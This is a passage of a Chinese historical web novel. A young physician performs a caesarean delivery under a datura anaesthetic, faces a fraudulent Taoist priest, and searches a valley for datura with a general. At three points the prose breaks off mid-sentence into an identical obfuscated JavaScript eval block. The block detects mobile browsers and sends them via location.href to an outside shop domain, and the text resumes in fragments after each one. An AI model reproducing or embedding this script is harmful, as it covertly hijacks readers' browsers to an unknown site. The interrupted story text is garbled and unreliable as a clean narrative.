赵今月想,慕音是怎么能够这么乐观而坚定呢?她一个人,就凭着这一弯柳叶刀,就能面对整个世界了吗? 然而,这个问题没有来得及问出口。 一阵急促的敲门声打断了少女们的对话,高琅的声音从门外传来,带着紧张与慌乱:“慕娘子,我姨母难产了!你快来救她!” 慕音一听,起身打开门,快步走了出去,“怎么回事,你告诉我。” 两人一边快步走出慈善堂,高琅一边说着情况,“足月的孩子,痛了半日,产婆忙了好半天,现在发现孩子胎位不正,恐怕难产。你快看看,有没有办法!” 赵今月追出来时,只看到慕音已经利落地跳上了马车,她朝赵今月挥挥手,“保重!记得,咱们要长命百岁!” 马车飞快地行驶在道路上,尧县不大,一刻钟左右,就到达了高琅的姨母府邸。 府邸很是豪气,而且很是崭新,约莫是最近两年修缮过。阔气的朱红色大门上,挂着一门匾额“崔府”。 跟着高琅进去,匆匆穿过花厅,进入二门,到了东侧的院落。一阵阵凄厉的喊声从上房传来,产妇不堪疼痛,喊声不止。院子里廊下站了满地的仆妇,进出换水,看着井然有序,然则主母生育不顺,仆妇脸上已经染上了不安的神色。 此时天色渐晚,秋风寒凉,落日余晖映入院落中,暗影重重,显出几分诡异来。主家众人在西厢房候着,高琅带着慕音进去时,众人正在争执。 一个头戴抹额、穿金戴银的老妇人,拄着拐杖,坐在胡床上,神色平静地道:“我已经让秦妈妈去请城北龙虎观的天正道长了,听说做法最是灵验,很快就要到了,你们勿忧。” 下首则有一个带着玉簪子的老妇人,焦急不安地走来走去,驳斥道:“从来没听过道士还懂生孩子的,都什么时候了,快找找厉害的产婆啊!” “亲家母,别着急。生孩子都是这样啊,哪里能不疼呢。我们当年不也都这样么。生下来就好了,道长说了,那是个大胖小子,将来必有成就,好得很呢。” 看来,一个是产妇的婆母崔夫人,一个是产妇的母亲、高琅的外祖母陈夫人了。 当中还站着一个大汉,身形高大,宛如小山一样,满脸的络腮胡,一头头发已经抓得乱糟糟的,眼圈下一片青黑,一直在堂中转圈圈:“岳母大人,这城里最有经验的产婆都已经找来了!皇甫神医在城外,虽派了人去,但一时半会恐怕到不来!琅儿说他有医馆的同窗也在县城里,正要接来……” 话说到此处,忽然看见高琅和慕音进来,大汉猛地冲上前来,拉着高琅问:“琅儿,你的同窗呢?可找到了?” 他直接忽略了慕音。 高琅将慕音拉过来,神情认真地介绍:“慕娘子就是我的同窗,是皇甫神医现在最得意的学生。” 崔冲看向慕音,就见是个十六七岁的女郎,一身素净,眼睛清亮,青春稚气。 他一时愣住了,反倒是上头的崔母先发难:“琅儿是不是搞错了?这是个女子,还这般年轻,她能懂什么?那是你嫡亲姨母,你不想着她好,竟是随便找了个人来敷衍搪塞么?” 8. 剖腹取子 高琅很是维护慕音,对崔夫人拱手行礼后,神情严肃道:“慕娘子十二三岁就跟着师父行医救人了,活人无数。在医药馆里她给伤兵们接骨疗伤,也是做得最好的。时间紧急,师父一时半会来不了,不如先让慕娘子看一看姨母的情况。” 崔母冷哼一声,将慕音从头到脚打量了一圈,说:“不行!她这么年轻,我信不过。再则,天正道长说了,那里头是我的孙儿,顺时而生,将来是要封侯拜相的,就怕有人胡乱进去,冲撞了他诞生的时辰。我清河崔氏的嫡孙儿可不能让个下九流的女子坏了他的运势!” 这尧县崔府只是清河崔氏的旁支,离主支远着,早已无人在朝为官,只经营着本地的田庄商铺生意,与商户无疑。但这并不妨碍崔母在慕音面前摆出一副高高在上的倨傲模样。 陈夫人听得这话,急火攻心:“亲家母,你这说的什么话!我女儿还在里头生死未卜呢,说什么封侯拜相!先把孩儿生下来啊!” 毕竟是亲生母亲,陈夫人疾步走上前来,拉着慕音的手,小心翼翼地问:“小娘子可是医者?可有帮过妇人产儿?” 她一面担心女儿,房间里那呼痛声已经快一日了。一面她又担心慕音学艺不精,万一处理不好,真出事了,又该怎么办! “我是医者,也帮过妇人产儿,他们都活了下来。”慕音耐心回答。 陈夫人望向女婿,语气带了恳求:“女婿,就让这小娘子进去看看?总好过如今这般,什么也做不了!” 崔冲还在犹豫,那边崔母已经发怒,腾地站起身来,拐杖往地上一杵,对左右仆人大声喝道:“把这什么医女给我赶出去!没我同意,谁也不许进上房!待天正道长来了,自有决断!” 陈夫人气得浑身发抖,就要扑上前去:“你这老妇!是要害死我女儿,好给你那侄女进门么!” 高琅眼疾手快,赶紧抱住了自家外祖母。 慕音也不管这哭泣叫嚣的两个妇人,径自看向当家人崔冲,平静地问:“崔当家,你看当如何?” 这般情形,慕音跟着师父行医的时候,不知道遇见过多少回。看起来都是病患的至亲,但是,真要决断的时候,每个人有每个人的考量,真正能为病患考虑的,能有几分,就是不错。 像这妇人产儿,婆母最要紧的是生个孙子,至于媳妇怎样,那是排在后头的。对于母亲而言,最要紧则是自己女儿,孩子没了,可以再要,女儿没了,那是再也没有了。对于丈夫而言,那就要看看有几分情意、几分利害了。为了孩子放弃妻子的,从不在少数。 若是丈夫立不住,这崔姨母只怕凶多吉少。 好在崔冲没有犹豫太久,他经营生意日久,在家中说一不二,当下唤来仆妇,道:“将老太太送回后院,天色晚了,先吃晚饭。” 崔母跳着脚,大呼大叫:“你个不孝子!反了天了!我是家里老太君,还要让位给你这亲家母不成……” 崔冲没理会母亲的怒骂,示意管事大嬷嬷赶紧带人下去。嬷嬷婆子们连哄带拽地把老太太给拉走了。 崔冲这才朝慕音作揖:“小娘子,且快去看看我家娘子,万不能出事了!” 慕音和高琅一起进了上房。屋里弥漫着浓重的血腥气息,产妇还在呻吟着,一阵一阵的声音从层层帷幔之中传来,只是声音比之前已经弱了不少,没什么力气了。 几个产婆正在床榻前与产妇说话,“夫人,夫人,这胎儿快到位了,等会我喊用力,你再用力。” “快拿参汤来,给夫人续力!” “夫人,先喝了这汤药!” 慕音穿过层层帷幔,高琅守在外头,等待慕音的指令。几个产婆望过来,见是一个妙龄少女,都有些吃惊,只以为是崔夫人的友人。 谁知少女走到床榻前,接过热毛巾帕子,拧干了,给崔夫人擦了一把脸,柔声道:“崔夫人,别怕。” 崔夫人的意识已经有些迷糊了。慕音将帕子放下,走到榻前,双手抚上了崔夫人的肚子。约莫一刻钟之后,她走了出来,吩咐高琅去煮麻药汤,“就按照平时最重的分量来准备。” 慕音从上房出来,崔冲和陈夫人都在门外焦急等待着,来回踱步。看到慕音出来,忙问要怎么办。 “胎位不正,早期没发现,来不及顺位了,需要剖腹取子。” “剖腹取子?”崔冲和陈夫人一时惊呆了。 “这……有多大把握?”崔冲犹豫着问道。 “如不剖腹,胎儿在腹中太久,无法呼吸,产妇也有出血的危险。如剖腹,胎儿可以取出来,产妇也可以尽快结束产程。” “就问有多危险?我的女儿还能活下去么?”陈夫人已经是泪水涟涟,若不是一旁的丫鬟扶着,就要晕倒在地上。 “我会尽力,也曾有剖腹取子的妇人,如今母子平安。”慕音看着老妇人伤心欲绝的模样,却也只能实话告知。“但是,医者从来是逆天而为,与阎王爷抢人。要看他老人家,给不给机会。” 崔冲听得明白,颤抖着说:“内子就拜托了。若是能救下她母子,便是崔某的救命恩人、再生父母,往后但有号令,无所不从!” 这样的话,慕音也听了很多,没有放在心上,只点头,“我会尽力而为。” 这时,高琅熬好了麻药汤,慕音端着药汤,走了进去。她给崔夫人喝下。高琅这时就在用开水清洗手术器具。慕音将几个产婆遣了出去,只让她们在外间听命。 不一会,崔夫人就昏迷了过去,产房安静下来。只有慕音与高琅两人简短的对话。 “蒙上崔夫人的双眼。”慕音一边拿着刀开腹,一边对高琅说。 “好了。”高琅仔细绑好。这是做手术时为了不给病人看到自己的伤处,而想出来临时法子。 “准备后止血的药粉和细布。”开腹顺利,取出胎儿后就需要尽快止血。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282074|151873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “检查胎儿。”不过一刻钟,胎儿就取了出来。胎儿在腹中待得太久,呼吸微弱。慕音将胎儿递给了高琅,自己动手清理子宫内残余物,止血,缝合伤口。 “孩子健康!”高琅小心翼翼地接过孩子,这么的娇小柔软,犹如珍宝一般地捧在手中。 “把孩子给产婆。”慕音继续指挥,她的额头汗珠密布。 然而就在这时,本该昏迷的崔夫人,突然呻吟出声:“啊,好痛!我肚子好痛。” 她自然抬手往肚子摸去,慕音眼疾手快,忙抓住她的手,“高琅,快来!” 崔夫人声音中充满了恐慌,或许是母子连心,“我的孩子呢?他去哪里了?”她又伸出另一只手,眼看就要抓到敞开的肚皮,高琅这时抓住了她。 “姨母,表弟已经出生了,健康可爱。”高琅连忙说道。 听到外甥的声音,崔夫人心里安定了一些,放松了下来。“为什么我的肚子还是很疼?小宝不是出来了么?” “这……”高琅不知道该怎么说,望向慕音。 慕音拍着她的手,安抚道:“□□有撕裂,用药就好了。高琅,再拿一碗安神汤来。” 崔夫人喝下第二碗麻药汤,又昏迷了过去。慕音这才有条不紊地缝合伤口。 此时已经是夜里,产房里点满了蜡烛,慕音神色微凝,全神贯注地缝合伤口。昏黄的灯光在她的脸上蒙上了一层柔色,平日明艳的眉眼也多了一层柔和,宛如梦中神女。 高琅对慕音佩服得五体投地,菩萨心肠、金刚手段,说的就是慕音这样的女子吧。 待到慕音和高琅处理完毕,出来偏厅时,新生的胎儿已经洗得白白净净,裹上了细布衣裳,放在大红色的襁褓里,安然地睡着了。 崔母也过来了,两个老妇人凑在一起看孩子,面上喜气洋洋。崔冲在厅内踱步,见慕音和高琅出来,忙迎上来问自己的妻子如何了。 “她睡了过去,迟些时候就会醒来。”得了慕音这一句话,崔冲几步跨进了上房,去看产后的妻子了。 这一夜,慕音和高琅都安顿在了崔家。然而,第二日起床时,崔夫人还是没有醒过来,崔家上下的气氛一下子就紧张起来。 慕音晨起,就去给崔夫人母子检查身体。男孩儿开始吃奶,会睁眼看人,一切正常。崔夫人却还没有醒来。按理,麻药汤的药效应该已经过去了,在没有大出血的情况下,她这时候应该醒来了。 慕音把脉,却也听不出什么问题。 这也是用麻药的一个问题。用得轻了,手术中就醒来。用得重了,可能醒不过来。她仔细思考昨日的用量,觉得并没有超量。但是,崔夫人却陷入了沉睡。得去请皇甫仲过来,一起研判。 然而,慕音走到门口的时候,被拦了下来。崔母带着仆妇,拦在了她的面前,一双眼里仿佛带了火,怒斥道:“你害死我家儿媳妇,就这样想逃走了?” 9. 天正道长 这老妇人哪里是疼惜儿媳妇,不过是昨日被慕音一顿抢白,又被儿子强拉着送入后堂,她从来在家里作威作福惯了,如何咽得下这口气? 听说媳妇昏迷不醒,当下连早饭也不用,拄着拐杖,飞快地跑来找慕音,就为了找回场子。 “你竟还剖腹取子,如此骇人听闻!是不是还做着杀人越货的勾当,才能下得了这样的狠手。若不是今天我着人来问,还不知道我那孙儿是这样出生的!你这是冲撞到了他的运势,破坏了我崔家的风水!” 慕音耐着性子,道:“剖腹取子,虽然少见,却也是有的。至于运势不运势,总得孩子出生了才能说到将来。崔夫人昏迷,我还需要请皇甫神医一起来,再看看。崔夫人虽然没有清醒,但身体一切如常。” 崔母如何能听得进去?如今她好不容易寻到慕音的一个错处,就是只纠缠着这个错处讲:“这全凭你的一张嘴,你说什么就是什么?反正,你不能走,得待在我家里。天正道长来了,要拿你做法事,还我孙儿运势!” 慕音看一时纠缠不清,就跟高琅使眼色,让他先走。高琅明白过来,匆匆寻皇甫仲去了。 高琅离开,慕音不打算和崔母纠缠,想再去看看崔夫人。谁知,这时从外头进来七八个道士,领头的留着八字胡,背着剑,一身玄色道袍。 慕音一看,这几个人都有些拳脚武功在身上,便止了脚步,静观其变。 崔母一看道士进来,面带喜色,迎上前去:“哎呀,天正道长,你可算是来了!这女子剖腹取子,破坏了我孙儿的运势,你快想想办法,还能不能恢复修补!” 天正道长一双小眼睛盯着慕音,有些诧异:“剖腹取子?”这等异术,他行走江湖,也曾听过,没想到有一日还能见到,竟然坏他好事! 原来什么运势之言,都不过是天正道长的谎言罢了。崔母有一投亲而来的外甥女,一心想嫁给崔冲。然而,崔冲与夫人感情深厚,崔夫人身体康健,眼看怀了二胎,都说是个儿子,若是顺利生产,这外甥女就再也没有希望了。 于是,外甥女就动了歪心思,知道崔母信奉天正道长,给他许以重金,让崔母不要找医士进来。又悄悄寻了些岭南的异香,投在崔夫人枕头中,让其难产,届时就是一尸两命。崔冲丧妻,心中疼痛,总是要新人去宽慰安抚的,自己再温柔以待,就能水到渠成。 天正道长只拿了一半定金,事成再收另一半。他本以为十拿九稳的事情,哪知道突然闯进来一个不知道哪里来的女郎,坏他好事。他平生最是贪财,观中有一地窖,堆满了信众献宝,还有各家法事所得的金银珠宝。每日不看上一回,就不得安生。如今,到手的大批银钱就这样没了,如何甘心? 他眯着眼睛冷冷地审视起来,粗布衣裳,木头发簪,麦色皮肤,唯一双眼可取,也不知道能抵得多少钱银? 他双手笼在袖中,故作高深地道:“老太太安心,我自有方法为贵府嫡孙破除灾祸,恢复运势!我观贵府,昨夜红光冲天,今晨又云霞满天,当是有贵人降生。只是,这红光里头多了一层暗影,云霞之前又有山峦遮挡。这都是因为小女郎剖腹取子所致。破人肚肠,便是在出生时就见了血光。未经□□而降世,就是不循世间大道,必遭反噬。如今,崔夫人昏迷,就是反噬之一。嫡孙降世,因破腹出生,而致使母亲死亡,实在是大凶矣!此祸不除,就怕还有后患!” 崔母听得是心急如焚:“那要怎样消灾去祸?” 天正道长捻着八字胡,看了一眼慕音,道:“就请这小娘子跟我们去一趟道观,做法事七日,消灾解祸吧!” 慕音冷哼一声,按着柳叶刀柄,道:“哪里来的江湖术士,胡言乱语。你想要抓我消灾解祸,我还要抓你去官府关押呢。看看你究竟骗了多少人,敛了多少财。” 天正道长被少女奚落,面皮一紧,喝道:“摆阵,将这破腹吃人的妖女擒来!” 随他而来的六个道人快速奔上前来,将慕音团团围住。慕音抽出柳叶刀来,眉目一片沉静,全无惧色。 反倒是六个道人,颇有些犹豫,并没有立刻上前。 “妖女,还不快快束手就擒!不然,老道可就不客气了!”天正道长厉声喊道。一般情况下,只要他摆出这个架势,大部分人都已经吓软了双腿了。偏这少女丝毫不惧,手中一柄柳叶刀精钢所制,刀刃锋利如水,莫非还是练家子不成? “妖道,还不快快束手就擒!不然,小女子可就不客气了!”慕音丝毫不怵他,甚至,还学着他的语气,还给他同样的话。 崔母在一旁看得跳脚:“你这妖女,竟然敢对道长无理!你快快随道长去了道观,做了法事,洗清你的罪孽!” 天正道长也不再忍耐,从背后抽出长剑来,向慕音此来。其余六道,则持剑围成圆圈,限制慕音躲闪的空间。 天正道长果然有几分功夫在身上,几次险些要刺到慕音手脚。但他有所顾忌,并不想出手伤人,只想将她柳叶刀击落,好逼她就范。毕竟,伤了手脚的女子,卖出的价钱就少了。 慕音只胜在身姿轻盈、轻功好,能躲开天正道长的攻击。但是,一时半会也找不到破局之道。但是,让她就这么束手就擒、被人带走,那是不可能的。 天正道长又是一剑刺来,慕音已经有些力竭,呼吸紊乱,眼看这剑就要刺在自己的手腕之上,“当”地一声,天正道长的长剑被一柄金枪挡住,溅起一阵火星。 天正道长手掌发麻,长剑险些落地,他大吃一惊,退后几步,持剑身前,看向来人。却是一个身着月白袍服的少年将军,头戴金冠,面容俊秀,手中拿着一杆金枪,正是大周军先锋将军谢时! 天正道长一时错愕。 谢时持枪站在慕音身侧,正眼都没看天正道长一眼,反而先低声问慕音:“无事吧?可有受伤?” 虽则这女郎身上有些古怪,但是,她的医术确实无可辩驳,何况,人还在自己的麾下,自然需要护着些。 女郎站的笔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282075|151873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直,发顶只到他的下颌。因为方才帮她挡剑,两人离得有些近,谢时鼻间仿佛闻到一丝药草香气。她微仰头看着他,感激地笑着,说:“无事。多谢将军救我。” 谢时细看,方才她与那老道激战,衣裳有好几处都被剑风划到,手臂处都微微渗出血来。他忍不住指了指她的手臂,道:“都受伤了。疼不疼?” 慕音一愣,看过去,才见到手臂处的衣袖有破损,衣衫也被血迹染红。方才心神都放在打斗上,没有十分注意,此时才察觉手臂有些刺痛。她苦笑了一下,道:“方才没留意呢,应该也不是大事。” 谢时颔首,转过身去,朝天正道长冷笑道:“你这妖道,妖言惑众,光天化日之下,就要强抢民女。今日,我谢时就为民除害。” 他好吃好喝供着的军医,还在等着她找到好的麻药呢,竟然差点就被老道伤了手脚,还要被抢回道观做什么法事,是可忍,孰不可忍! 谢时的字典里,可没有忍字! 他一□□去,天正道长如何敢跟他对打,只能弃了剑,跪地求饶:“将军饶命!将军饶命!小人只是要请娘子去做法事,不是强抢民女啊……” 谢时如何肯听,将金枪丢给了跟来的卫兵,抬手就是一顿猛打,一拳重重打在天正道长的面颊之上,瞬间面皮红肿,鼻孔流血,天正道长吓得满地求饶。随后,喊士兵将这几个道士都抓走了,送去大牢里先关几天。 崔母早在谢时进来时,就吓得昏了过去。 周王威名赫赫,他的嫡幼子谢时更是贵妇人们时常提到的儿郎,只恨不得收作自家女婿。谁知,这位天上的郎君,竟与这土气粗鄙的女郎有交情? 就算是不很想晕,也得晕过去。后面的事,就交给儿子吧。 崔冲匆匆从后院赶来,才知道前院出了这般大事。崔母担心崔冲阻拦,一早就劝他去上房陪妻子说话,说这般或许可以早点喊她醒来,不然魂魄若是听不到自己人的声音,飘走了,可再回不来了。崔冲六神无主,只盼着妻子早点醒来,因此也就一直陪在后院。 谁知就这么半个时辰的功夫,家里发生了这么多事。 一夜过去,妻子昏迷不醒,他一脸憔悴沧桑,连忙抱拳致歉,哑着嗓子道:“叫慕娘子受委屈了!都是崔某管家不当!我母亲她糊涂了,不辨是非,崔某却是明白的。若非慕娘子如此神技,只怕我那孩儿还不能顺利出生,内子也未必能安全至今。” 说罢,又喊管家侍女来,给慕音送水,送上新衣,已经酬劳。慕音简单处理了伤口,换了一身最轻便的胡装。 谢时还没走,正坐在花厅里,与皇甫仲说着话。皇甫仲随高琅来了崔府,已经给崔夫人再诊了一次脉,确实没有什么错漏之处。 “曼陀罗花本身是不是有些相生相克之物,如果能找到克制曼陀罗花药性的草药,或许就能让崔夫人醒来?”皇甫仲一边踱步,一边捻须,猜测道。他悠悠叹了一口气,天天都要这么刺激,他的头发胡子都不剩下几根了! 10. 曼陀罗 听到皇甫仲的建议,慕音眼睛一亮,“很有道理!既然能下麻药,那就应该可以解。按照医书,毒药七步之内应有解药,曼陀罗也该是如此才对。”但旋即,她好像想起什么,失落地说道:“但曼陀罗长在温暖之地,要在岭南才有大片曼陀罗,在汴京少见。” 坐在一旁的谢时却微笑道:“这可巧了!我知道有一处山谷,有曼陀罗。本来今日就是想带你们去看看的。实在等对秦国开战后,恐怕需要大量的麻药。” 去年年底,大周军队开始在此地备战。谢时带着人马,将附近的山川河流都走了一遍,用地图一再描摹和标记。那个隐藏在深山中的峡谷,就是这样发现的。地处偏僻,内有温泉,气候温热潮湿,或许因此之故,长出了曼陀罗花来。 不过,曼陀罗花饼也不是今天要去看的,并没有那么着急。他本来还有些别的事情要处置。父亲和兄长的书信,昨日刚刚寄到,还未曾回复。兵器军火和粮草,也都到了最后的准备阶段,他也需要去查看进度。 但是,他在去兵器库的路上,碰到高琅。听到高琅说她遇到了难事,被病患家属刁难,他就立刻调转马头,要来给她撑腰,毕竟有如此医术的人难求。如今,她也算是他麾下军士了,他身为主将,当然要护住自己的兵。 没想到曼陀罗山谷还真派上了用场。 “那我们这就去看看?”慕音急切地说道,一双美目看向谢时,眼中满是期待,“不知道将军能不能带我去?” “现在不知道哪里出了问题。我仔细想过了,用量应该是合适的。有可能是崔夫人的体质问题。但是,我们现在不知道有多少人会出现这样的问题。如果十有二三会出现昏睡不醒的情况,这药可以用的情况就太少了。如果能找到相克的药物,那就不担心这种情况了。”说到后面,她情绪有些低落,眼光中恳求之意就愈发明显了。 谢时知道她此刻心急如焚,道:“走吧,我带你去。”又问皇甫仲去不去。 皇甫仲笑吟吟地摆手道:“老头子我受不住骑马颠簸,还要走山道。再则,我在这里,崔夫人有什么情况也好应对。” 谢时觑了皇甫仲一眼,总觉得老头儿的笑容怪怪的,不知道在想什么。慕音却没有想这么多,跟皇甫仲挥手,提起裙摆跑了出去,谢时连忙快步追上。 皇甫仲看着少年将军与小医女离去的背影,默默地想,怪不得谢时这小子,最近跑了好几趟医药馆,原来是心里搁着这小医女呢。但是,小医女身边还有个他的傻徒弟高琅,两人天天凑在一起研究医理药学,手术配合也默契。啧啧,医馆有点热闹啊。 谢时的乌骓马拴在门口,带着慕音到了门口,才发现了问题。他回身问:“你会骑马么?” 慕音点头。时值乱世,马匹基本都用于军队征战,非大富之家都难以保有马匹。慕音跟着自己师父行医的时候,在一大户人家家中居住了一个多月,学会了骑马。但骑得太少,不甚熟练。 谢时喊亲卫牵来一匹马,指了指:“你上去试试看。” 这是一匹战马,个头极高。慕音又多时不曾骑马,踩着马镫上,力气不足,试了两次,没上去。 谢时在一旁抱臂打量着,这女郎敢孤身一人如山匪窝,还以为她身手很好。但看她上马的样子,很是生疏,不像经过训练。莫非还真是心怀天下,以治病救人未己任? 第三次,慕音终于上去了。可才一上去,这战马识主,察觉到陌生人坐上,就变得暴躁起来,焦躁不安地踢踏着地面,想把人摔下去。 慕音惊呼一声,吓得魂飞魄散,紧紧俯下身来,抱住战马的脖子,就怕自己背甩下去,断胳膊断腿。 谢时想,这女郎看来战斗力确实不行。他连忙出手,拉过缰绳,大力控住马匹,一只手抚上马的鬃毛上。大马认识谢时,很快安静下来,甚至伸出舌头舔了舔谢时的手掌。 谢时得意地笑了,“清风,听话,好好带着人。回来今晚有好吃的。”清风嘶鸣着,作为应答。 马背上的慕音这时才松了一口气,缓缓坐直了身子。 “走吧!”就看到谢时翻身上马,疾驰而去。 慕音作为初学者,不敢骑快马,只能慢慢地跟着走去。谢时跑出一阵,回头看到慕音远远地落在后面,不由得失笑。也是自己打仗久了,尔虞我诈久了,看什么都像有诡计的样子。这女郎除了医术了得,其他的与普通女郎也无甚差异。 他又勒马跑回来,在慕音面前停下了,笑道:“你慢慢走,一会适应了,就能跑起来了。” 慕音不由得打量谢时。他束了发,露出饱满的额头,清隽的脸颊,高挺的鼻,丰润的唇。此刻他似乎心情颇好,嘴角微扬,带着笑意。一身月白袍服,猿臂蜂腰,双腿修长。常年的征战,他的身体呈现出一种力量的美感,不知不觉地显露出来。似乎能感觉到他有力的臂弯,感觉到肩膀手臂处随着行走而微微起伏的肌肉。赏心悦目。 慕音正在仔细打量谢时,不料谢时一回头,两人目光撞了个正着。慕音的心咚咚乱跳一阵,心想着谢时没事长这么好看干嘛呢。她一勒缰绳,决定走快点,避免这个尴尬。 看着骑马快步向前的慕音,谢时马鞭一拍乌骓马的臀部,追了上去。 待出了北城门,正是落日时分,夕阳晚霞映照,远山苍翠,近处杏树金黄、枫林尽染。城北开阔,行人稀少,慕音不知不觉就跑了起来。风声呼呼地从她耳畔掠过,带着初秋的凉意,夹杂着花香草香,说不出的惬意。 这一刻,她感觉自己变轻了,腾云驾雾,暂时离开了一切俗务。她忘记了那些压在心灵深处的痛苦记忆, 谢时看她此刻无拘无束,清风撒开丫子在奔跑,也哈哈大笑,催着乌骓马赶了上来。“我们来比赛吧,看你能不能追上我!”他从慕音身旁越过。 慕音自然不肯认输,一勒缰绳,催着清风跟上。两人在田园山涧间你追我赶,惊起林鸟无数。纵马奔跑了约莫一个时辰,终于来到了谢时所说的那片山谷。 此时已是傍晚,落日余晖洒满山谷。 “快点儿,再晚了就看不清了。”谢时翻身下马,伸手上来,扶慕音下马。 慕音手掌轻轻地放在了他粗粝的大掌中,借着他的力气作为支撑下了马。小巧柔软的手掌就那么轻轻划过他的手掌,停留了一瞬间,就又离开了。 谢时手指摩挲着自己的掌心,看着走在自己前方的女郎,心想,她的手是那么小巧娇弱,但是,竟也能杀山匪、剖腹救人。 两人转过一处山口,眼前的景色让慕音说不出话来。视野之中,近处是一片缓坡,开满了大朵大朵的曼陀罗,绚烂而艳丽。山坡往下,是一片水波微漾的湖。更远之处,是淡如青烟的远山,映着山间晚霞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282076|151873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢时靠着一颗大树,坐了下来,随手扯起了一根青草,笑道:“看看能不能找到相生相克之物?皇甫老儿还说制麻药需要许多曼陀罗,这些够了么?” 趁着天色未晚,慕音认真地查看起来。她在曼陀罗花的根茎上仔细寻找着,辨识不同的药草。偶尔,遇到可能有用的草药,她会挖起来,用手指细细碾碎,嗅一嗅味道,有时候甚至会轻轻舔一舔。 她粉红的舌头,轻轻地舔在手指的药汁上,也不知道舌头该是如何柔软。谢时忙别开了眼睛,不再看慕音,只看着远处的山水,让自己心平气和起来。 这一刻,他有些恼怒自己的亲卫。也不知道萧久功在干嘛,过去了这么久,愣是没查出来薛氏有什么不对劲的地方。 薛氏每日在王府里深居简出,安分守己,从来没见过任何人。薛氏本就是汴京人士,早年嫁入长安,夫丧无子守寡。大齐末年,帝都乱,薛氏逃难,最终落籍在了代县黄家庄。薛氏在汴京城郊的族人,只余二三族老,曾经见过薛氏。然而见了面也是老眼昏花,根本分辨不出来,早已不记得几十年前的事情了。 慕音看起来与寻常的难民和医士并没有什么区别。但是,常年战场上拼杀的直觉又总让他觉得不对。 脑袋中有两个小人,一个京城公子温润谢时,微笑着说:“女郎淳朴至真,当结交为好友。”另一个少年将军杀神谢时,冷笑着说:“女郎从军,必有猫腻,当远离!”。两个小人还在他脑海里打起架来。 谢时扯了扯嘴角,面无表情地揉了一下额角,大概是久未开战,自己太闲了,才会冒出这些奇怪的想法。 他抬头看天,天色越来越暗,目光所及,已经很难看清楚了。跟随谢时而来的亲卫,在十步之外生起了火把,但无一人出声,安静得仿佛不存在。 慕音直起腰来,装药草的布袋里已经不知不觉装了一半,一只手揉了揉自己酸麻的腰,笑道:“天晚了,我们回吧,有几个药草或许可以一试。” 两人起身,就往回走。然而,这时,忽有流萤从慕音面前划过。 “萤火虫!”慕音不由得喊出声来,语气中满是惊喜。萤火虫三三两两,流光一般,穿梭在花草间,将山谷点缀得犹如梦境。 谢时负手而立,看着山谷里的星星点点,笑道:“如今已是夏末,萤火虫少了许多了。下次我们可以夏至时节来,那时候夜里的萤火虫就如同星星一般。” “真的吗?”慕音已经很多年没有看过萤火虫了。她记忆里的萤火虫,是属于太极宫后花园的。 “嗯,若是用纱笼装起来,放在屋子里,跟夜明珠似的。” 慕音很有些诧异。谢时,十五岁就沙场拼杀、杀敌无数的少年将军,居然也会看萤火虫?一个本该冷酷无情的将领,却仍保留了温暖自在的内心。就不知道,这样的内心会在什么时候,被消磨殆尽呢? 就譬如她,只有复仇是最重要的。无论是救人,还是行医,或者是此刻在山谷里与谢时一起寻找药方,只是复仇的一部分,是为了复仇而选择的路线罢了。 她心中的喜悦渐渐平静了下来,郑重向谢时道谢道:“多谢将军,带我来此。我师父从前跟我说,人要见天地,见众生,方能见自己。这里,我见天地。” 火光映照之下,她面容如玉,坦然自若,白日时萦绕在眉间的清愁已经消失殆尽。 11. 宫廷秘方 慕音回到崔宅,崔夫人仍旧在昏睡中,把脉后确认一切正常。皇甫仲已经让崔冲找来崔夫人近来用过的方子,仔细读了一遍。 “没看到有药性冲突的记录,看起来应该也不是过去药方所致。”皇甫仲指着桌上一叠药方,说道。也是崔家心细,药方都被妥善保管起来,不然如今什么也看不到,无迹可寻。 慕音把今日寻回的药草,一一拿出来,摆在桌子上,与皇甫仲一起辨认。从七八种药草中先确定下来两种,明天再做用药测试。忙完这些,已是深夜,慕音梳洗后准备休息,却有人敲响了慕音的门。 却是崔夫人身边的妈妈,送来了一个药方:“打扰娘子了。皇甫神医说要看我家夫人最近用的药方,今天遗漏了这个,一直单独由老奴保管着。方才想起来,忙拿来给娘子过目。可不能耽误了我们夫人的用药。” 慕音接过,是薄薄一张纸。 “夫人这两年来总觉得精力不济,时不时头疼。去年去医药馆看望表少爷,可巧遇到一位军医,只看了夫人一眼,就将夫人的病情症状说得差不多了。那位医士仔细诊治后,就开了这张药方来。用药很是有效,这方子也就一直单独放着,怕弄丢了。” 慕音打开泛黄的纸张,仔细读着配方里提到的草药。越看越是心惊,她犹不相信,又多看了两次。这是来自前朝后宫的方子,是时任太医正朱同为皇后开的! 